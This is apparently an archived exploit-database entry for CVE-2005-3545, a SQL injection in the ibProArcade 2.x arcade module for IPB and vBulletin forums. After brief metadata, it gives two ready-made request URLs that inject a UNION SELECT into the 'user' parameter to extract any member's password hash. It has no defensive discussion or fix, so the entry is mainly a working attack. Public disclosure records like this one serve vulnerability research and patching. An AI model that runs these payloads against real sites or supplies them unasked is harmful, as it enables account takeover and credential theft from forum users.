ibProArcade 2.x - module 'vBulletin/IPB' SQL Injection

Author: B~HFH
type: webapps
platform: php
port: 0
date_added: 2005-11-05
date_updated: 
verified: 1
codes: OSVDB-20514;CVE-2005-3545;OSVDB-12091
tags: 
aliases: 
screenshot_url: 
application_url: 

# Rankings for (name) will state the md5 hash for the user /str0ke
# ibProArcade 2.x

IPB:
index.php?act=Arcade&module=report&user=-1 union select password from ibf_members where id=[any_user]

vBulettin forums:
index.php?act=ibProArcade&module=report&user=-1 union select password from user where userid=[any_user]

Author: B~HFH
Email:  bhfh01@gmail.com

# milw0rm.com [2005-11-06]